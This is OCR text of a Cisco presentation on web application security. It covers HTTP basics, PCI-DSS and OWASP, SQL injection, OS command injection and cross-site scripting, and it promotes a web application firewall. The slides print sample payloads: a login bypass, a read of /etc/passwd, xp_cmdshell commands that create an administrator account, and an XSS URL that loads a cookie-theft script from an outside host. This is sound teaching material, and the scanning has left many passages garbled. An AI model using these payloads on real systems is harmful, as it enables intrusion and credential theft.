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Data Center Security — what are we covering

today?

Network Classification
Quality of service
Network-based app recognition
Queuing, policing, shaping
Visibility, monitoring, control

Application Acceleration
Latency mitigation
Application data cache
Meta data cache
Local services

Application Scalability
Server load-balancing
Site selection
SSL termination and offload
Video delivery

WAN Acceleration

Data redundancy elimination
Window scaling

LZ compression

Adaptive congestion avoidance

Application Networking
Message transformation
Protocol transformation
Message-based security
Application visibility

Application Optimization
Delta encoding
FlashForward optimization
Application security
Server offload




Session agenda

Web Application Security: background
Quick HTTP refresher
High Impact Attacks:

— SQL injection

— Cross-Site Scripting (XSS)

Solution
— Cisco’s ACE Web Application Firewall

VMware Security
— Cisco’s Nexus 1000-V



Web Application

Security: Background




Vulnerability trends: interesting statistics

Percentage of reported vulnerabilties, Q1CY07

B \Web Technologies
O Other

Symantec Internet Security
Threat Report
Trends for July-December 06

66%

http: ) feval.symantec.com/mkkginfofenterprise /white_papersfent-whitepaper_internet_security_threat_report_xi_03_2007 .en-us.pdf



The Evolution of Intent
A Shift to Financial Gain

Threats becoming increasingly difficult to detect and mitigate
Applications are the primary targets

FINANCIAL.:
Theft & Damage

W NOTORIETY:

Viruses and Malware

VANDALISM:

Basic Intrusions and Viruses

THREAT SEVERITY

1990 1995 2000 2005 2007 WHAT’S NEXT?



Applications: the Weak Link to the Crown Jewels

MastorCall

Applications Give Unprecedented Access
to Critical Business Data




Can you put a price on stolen data?

N P
Rank Rank Goods and Services Percentage | Percentage | Range of Prices
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Tavle 2. Breakao] 21 Million German bank accounts - yours for only €12m

Source: Symantec

It's a steal

hitp://eval.symantec.{ By Dan Goodin in 5an Francisco - Get more from this author
Fosted in Crime, Sth December 2003 00:558 GMT




Network firewalls are HTTP-applications blind

PE— — ' DEMEIESE
Server




Focus of today’s attacks

2/3d of Attacks
Focused Here

I Gm;gl«.-—_j
. =i Customized Packaged Apps

Internal and 3rd Party Code

Operating
Systems Systems Systems

Web Application Database
‘ Servers Servers Servers
‘ Operating Operating

Network

Network IDS
Firewall IPS

No magic signatures or patches for your custom PHP script



Expanding the Network Perimeter

More applications services available via the
web

Customers, Employees, Business Partners
Web-enabled appliances
IP phones, printers, webcams, etc.

Issues:

Web applicatio]—
= Steve
HTTP requests|  commented an Mar 27, 2008 5:52:07 An

Even “secure” S How is I:_}SHF pussitfle ?fthe s_ite you're connected to uses SSL and gncryptinn for the
connection? Transmissions with your bank should be unintelligible if intercepted. YWhat am |

requests witho{  missing?

Web applicatior COOE Nas Pecome part OT|Web App Threats Rising
network perimeter, but is often poor|y prot|Posted by George Hulme, Mar 25, 2008 09:47 PM




Why web application security?

Web apps provide a great portal to sensitive information
Internet  relatively anonymous medium — easy to fire and forget

Tool required to attack most web applications: a web browser!
|dentity theft losses estimated at $45B by US Fed Trade Comm.

Indirect costs of security breaches are potentially enormous:
» Brand erosion

« Customer attrition
» Regulatory non-compliance fines

— eg. Payment Card Industry Data Security Standard
e Lawsuits



PCI-DSS 6.5 & 6.6

Two sections of Payment s
Card Industry Data
Security Standard focus

on web application

security: 6.5 and 6.6

Section 6.6 mandates you
install a Web App Firewall
by end of June 08 to o
protect your applications
against OWASP Top 10
attacks

Security ™
Standarcs Council

Develop all web applications based on secure coding guidelines such as the Cpen Web
Application Security Project guidelines. Review custom application code to identify coding
vulnerahilities. Cover prevention of comman cading vulnerabilities in software development
processes, toinclude the following:

6.51  Unvalidated input
6.5.2 Broken access control (for example, malicious use of user IDs)

6.5.3 Broken authentication and session management (Use of account credentials and session
cookies)

6.5.4 Cross-site scripting (X55) attacks

6.5.5 Buffer overflows

6.5.6 Injection flaws (for example, structured query language (SQL) injection)
6.5.7  Improper error handiing

6.5.8 Insecure storage

6.5.9 Denial of service

6.5.10 Insecure configuration management

Ensure that all web-facing applications are protected against known attacks by applying either of
the following methods:

» Having all custom application code reviewed for commaon vulnerahilities by an organization
that specializes in application security

« Installing an application layer firewall in front of web-facing applications.

Naote: This method is considerad a best practice unfil June 30, 2008, after which it becomes a
requirement.



PCI DSS: 6 sections and 12 requirements

Build and Maintain a Secure Network

Section 6.5: develop secure web apps, cover
prevention of OWASP vulnerabilities

Section 6.6: Ensure all web-facing apps are
protected against known attacks using

either of the following methods
e Secure coding practices
e installing a Web App FW*

*This becomes a requirement by June 2008

pen

5. 2y spoale anti-virus software
6. “Develop and maintain secure systems and applications



You said OWASP?

OWASP = Open Web App Security Project
http://www.owasp.org

Al — Cross Site Scripting (XSS) e e,

B Cross-Site Scripting
B Information Leakage
B Content Spoofing

A3 — Malicious File EXeCULION ..occcveviviiiiiiiice e M Predictable Resource Location
B SQL Injection
B Insufficient Authentication

A4 — Insecure Direct Object Reference....cccceevviivvnivnnnnnnn. Insufiicient Authorization .
B Abuse of Functionality :

. B Diectory Indexing
A5 — Cross Site Request Forgery (CSRF) ...ovvvveiiincveevnnennnnnd B HTTP Response Spltting
A6 — Information Leakage and Improper Error Handling

A2 — INJECtioN FIAWS. ... e s e enn e

24% 21 %118% 6% l%

A7 — Broken Authentication and Session Management..

A8 — Insecure Cryptographic Storage....ccovveveeivniviiinniinnnns

Top 10 vulnerability classes by percentage likelihood.

A9 —Insecure Communications........ccivviiiiiiiinniinnn, . .
Source: WhiteHat Security, 2007

A10 — Failure to Restrict URL ACCESS covivviirininieneeeieniencnnenns




Vulnerabilities by verticals

—~Qo/ |
F g0 r' / |
O 2 Insurance .
“iNancic Education Health-
SEVICES E: _ care

Percentage of web sites with an urgent/critical/high defect

Source: WhiteHat Security, 2008



Why Not Just Fix the Code?

wococoor Bank of takes three weeks to
) squash nasty Worldpay bug

N By Dan Goodin in San Francisco — Mare by this author
20 May 2008 19:51

Amateur security sleuth spurned 1 "#"""$
hBmE Q@ 5

It's taken three weeks, but of has closed a

glaring vulnerability that could have allowed miscreants to create

convincing spoof pages that siphoned customers’ login * !

credentials.

mistaken belief it can't be tampered with.




HTTP Crash Course




HTTP — an application-level protocol

HTTP 1.0—RFC 1945
Informational
Performance and functional limits
HTTP 1.1—RFC 2616
Draft Standard
Persistent connections, Caching
More stringent requirements

HTTP always stateless — many tricks to make it behave as session-
oriented (cookies, session IDs)

Useful links:
http://www.w3.org/Protocols/

http://www.rfc-editor.org/rfcxx00.html



HTTP—Request Elements

Three important elements of an HTTP request:
Method
URI
Headers



HTTP—Request Methods

HTTP 1.1— Methods
OPTIONS: Ask server for available methods

HEAD: Request resource & view response headers only
POST: Send datato the server

PUT: Send a file to the server

DELETE: Delete a file form the server

TRACE: Allows client to “trace route” via proxies to web server

CONNECT: Used by proxies for tunneling requests to web server
All methods expect an HTTP response from the server

In practice, both GET and POST send data to web applications — this is where
your Network Firewall can help with RFC2616 compliance




HTTP—GET vs POS

GET
form data to be encoded (by a browser) into a URL

e POST
form data to appear within the body

* Myth: POST safer than GET because parameters not directly visible

<FORM METHOD="post™ ACTION="/cgi-bin/script.pl">
<INPUT TYPE="text" NAME="in" SIZE="20" POST /cgi-bin/script.pl HTTP/1.0
MAXLENGTH=""40"" VALUE="hello there'> Content_type: application/X_WWW_

<INPUT TYPE="submit' NAME="button' VALUE="Send"> form-urlencoded
</FORM> Content-length: 26

in=hel lo+there&button=Send

HTTP request for the GET method is simpler:
GET /cgi-bin/script.pl?in=hello+there&button=Send HTTP/1.0




HTTP—Uniform Resource ldentifiers

A URI Identifies and Locates a
Network Resource

"http:" "/" host [":"port]/[abs_ path["?"query]]

TCP Port

DNS Resolution

Path and File Name /

Scheme 0 URL Query String




HTTP—Query Parameters

The URL portion after the “?”

http://www.google.com/search?g=cisco

Passed to the application (and vector to several attacks
when improperly parsed)

Content returned dynamically based on query
parameters.

Overall page layout similar while data differs.

For an example of how query parameter are used see
google’s API description



HTTP—Cookies

“Cookies are pieces of information
generated by a Web server and stored In
the user’s computer, ready for future

access.” :
Cookies are not ,
www.cookiecentral.com and they cannot run like
Server sends cookie to client programs do.

Set-Cookie:NAME=VALUE;expires=DATE;path=PATH;
domain=DOMAIN_NAME; secure=YES

Client sends cookie back to server on subsequent visits to domain

GET /HTTP/1.1\r\n
Host: DOMAIN_NAME\r\n
Cookie: NAME=VALUE;



Web Attacks!




ypical Web Application Architecture

Presentation tier
Web server The top-most level of the application is the
receives Input user interface, The main function of the

interface is to translate tasks and results to
something the user can understand.

Logic tier
App server This layer coordinates the application,
processes commands, makes logical GET LIST OF ALL ADD ALL SALES
parses InpUt decisions and evaluations, and performs SALES MADE TOGETHER
calculations. It also moves and processes LAST YEAR

data between the two surmounding layers.

SALE1
Data tier SALE 4
. Here information is stored and retrieved
DB recelves query from a database or file system. The
created & sent by information is then passed back to the logic
tier for processing, and then eventually
App Server back to the user.
—— |
Storage

Database



Ranked #1 in sans.org’s Top 25 coding errors

CWE-20: Improper Input Validation

It's the number one killer of healthy software, so you're just asking for trouble if you don't ensure that your
input conforms to expectations.. .MORE ==>

CWE-116: Improper Encoding or Escaping of Output

Computers have a strange habit of doing what you say, not what you mean. Insufficient output encoding is the
often-ignored sibling to poor input validation, but it is at the root of most injection-based attacks, which are

(}/ all the rage these days...MORE ==

q CWE-89: Failure to Preserve SQL Query Structure {aka 'SQL Injection”)
QQ If attackers can influence the SQL that you use to communicate with your database, then they can.. MORE ==

CWE-79: Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')

Cross-site scripting (X55) is one of the most prevalent, obstinate, and dangerous vulnerabilities in web
applications...If you're not careful, attackers can...MORE >>

CWE-78: Failure to Preserve 0OS Command Structure (aka '0OS Command Injection®)

wWhen you invoke another program on the operating system, but you allow untrusted inputs to be fed into the
command string that you generate for executing the program, then you are inviting attackers.. MORE ==

CWE-319: Cleartext Transmission of Sensitive Information

If your software sends sensitive information across a network, such as private data or authentication
credentials, that information crosses many.. MORE ==

CWE-352: Cross-Site Request Forgery (CSRF)

With cross-site request forgery, the attacker pets the victim to activate a request that soes to your site.
Thanks to scripting and the way the web works in general, the victim.. .MORE >>



Attack #1: SQL injection



Attack #2 — SQL Injection

SQL stands for Structured Query Language
Allows applications to access a database
SQL can:

execute gueries against a database
retrieve data from a database
Insert new records in a database
delete records from a database

update records in a database

Many applications take user input and blindingly send it
directly to SQL API!



Attack #2: SQL Injection

& METRO System : Christophe Paggen - Mozilla Firefox
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Application Error Message Reveals DB structure

& METRO System - Christophe Paggen - Nozilla Firefox ks
File Edt Miew Go Bockmarks Took  Heb u

- -G 0 O I Mo« |

E. CL - cars h' L h. registertlc B Lesair B neteraft B b ckers.org B Helphetsec

Proocyt | Mlome 1| v dppy 7 it (@ Remove | add {Statun Uﬂﬂ_EI'";'E' F'fﬂi":': &, Preferences

SOL: [SELECT mex expense_id, mex expense_number, mex expense_status, mex submt_date, mr review_status, mt tip_number, tr policy rewiew flag,

tnr randetn_review flag mr review bst review flag mexrecempt_status, mradd_mfo_status, decode(mey expense_status, T, 1,P, 2,5, 3,'A" 4, B! 5, T, 6, 7)
sortorder], mrrecempt status, surnimp. payment_amount), toc currency_code FROM met expenses mex, met_teviews tor, mef_tnps mt, metpayments mp,
tnet_countries me WHERE mex expense 1d = mr expense_1d(+) AND mex emaployes 1d = 4700 AND mew expense_id = mp expense 1d(+) AND

tnex effective_country code =me country_code AND mex trip 1d = mt trip_1d(+) AND mex exgier x : PR Y mex expense_number,

tney expense_id, mex expense_status, mex submt_date, mereview status, mt tnp_number, rm.pt:llicg,r_ren _ﬂzé,“.rmdﬂm_reuiew_ﬂag,

tor review bst rewiew flag mex recempt stams, mradd_mfe status, rorreceipt status, me currency_codgfORDER BY sertorder], mex submut_date DESC,

tnex expense_number DESC)

Database Error. mex.expense_number =
Please contact the TRC.

Continne...




Anatomy of a SQL Injection attack:
Basic SQL Query for Login

Typical SQL query
SELECT * FROM users

‘m Internal Collaboration * External Collaboration * Developer Privileges *

com.cisco.candc.services.webexconnect.WebExConnectException: SQL:insert into

WEBEXCONNECT_EVYENTS select * from WEBEXCONNECT_EYENTS_ARCHIVE where

cecid="cpaggen' CAUSING

-I ERROR:com.cisco.candc.services.webexconnect.WebExConnectException:
ERROR::user:Christopher Paggen {cpaggen@cisco.com) does not have a WBX userlID

var sgl = USErs

WHERE login =" + form_user +

AND password =™ + form_pwd + ™",



Anatomy of a SQL Injection attack:
SQL Injection — Bypass Login

Attacker Injects the following:

form user="'or 1=

SQL comment

form_pwd = anything
Final query would look like this:
SELECT * FROM users

WHERE username = always true!

— — AND password = 'anything'
Attacker gains access to the application!
Several patterns such as ‘) “> "\ etc.



- 00000000000000__]
Variation: OS Command Injection

Two ways to interact with the OS:
Reading and writing system files from disk
Find passwords and configuration files
Change passwords and configuration

Execute commands by overwriting initialization or
configuration files

Direct command execution
We can do anything

Both are restricted by the database's running privileges
and permissions



OS Command Injection

Linux based MySQL

‘union select 1, (load_file('/etc/passwd’)),1,1,1;

MS SQL Windows Password Creation

', exec Xp_cmdshell 'net user /add victor Pass123'--

', exec Xp_cmdshell 'net localgroup /add administrators victor' -

Starting Services

', exec master..xp_servicecontrol 'start','FTP Publishing' --



SQL/command injection: summary

How serious?
Result of poor/inexistant input validation

Hackers breachi: a
system

Dam ag E Theft Could Possibly be the Largest Credit Card Crime in History
By Byron Acohido, USA TODAY SLUSA TODAY

January 20, 2009 32 comments

Major ve(

Very hH

Countermeasures

Sanitize user input
Don'’t display raw database error codes to the client

Cisco’s Web Application Firewall can prevent patterns from being fed
as form input (characters such as single quote, double quote, etc



Attack #2: XSS / Cross-site Scripting



Attack #3 — Cross Site Scripting

What is 1t?

Improper input validation on the application lets reserved HTML tags in
Hacker sends forged URL with malicious tags to victim
Those tags cause Javascript to execute in the victim’s browser

Why does Cross Site Scripting happen?

A result of poor or no input validation
Application blindly echoes requests back to browser

Result

“Virtual hijacking” of the session by stealing cookies
Interception of data
Web site defacement
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XSS: just pop up alert boxes?

OK great, yet another example of a XSS attack popping
up a “Hello” box in a browser — big deal ...how serious
Is this? Should | really be concerned?



“S0o... what’s the worst thing you can do with
XSS? Steal every piece of sensitive information
you've ever inputted or will ever input on any
website you're authenticated to. Yes, it's
potentially that bad..”

Robert “RSnake” Hansen, CEO SecTheory
http://ha.ckers.org

© 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential




Cross Site Scripting applications

The second a hacker realizes a query parameter
accepts HTTP, he can trick your browser into doing
virtually anything:

-build hidden forms that submit your cookies
-check your browsing history
-scan your subnet for certain hosts

-etc.
- Commonly used in Phishing emails

- Experts estimate 80% of web sites are vulnerable
( )



XSS In action: Stealing Authentication Credentials

http://bock-bock/cqgi-bin/power/?q=<script
src=http://www.employees.org/~pag/XSS/cookie_theft.js></script>

N



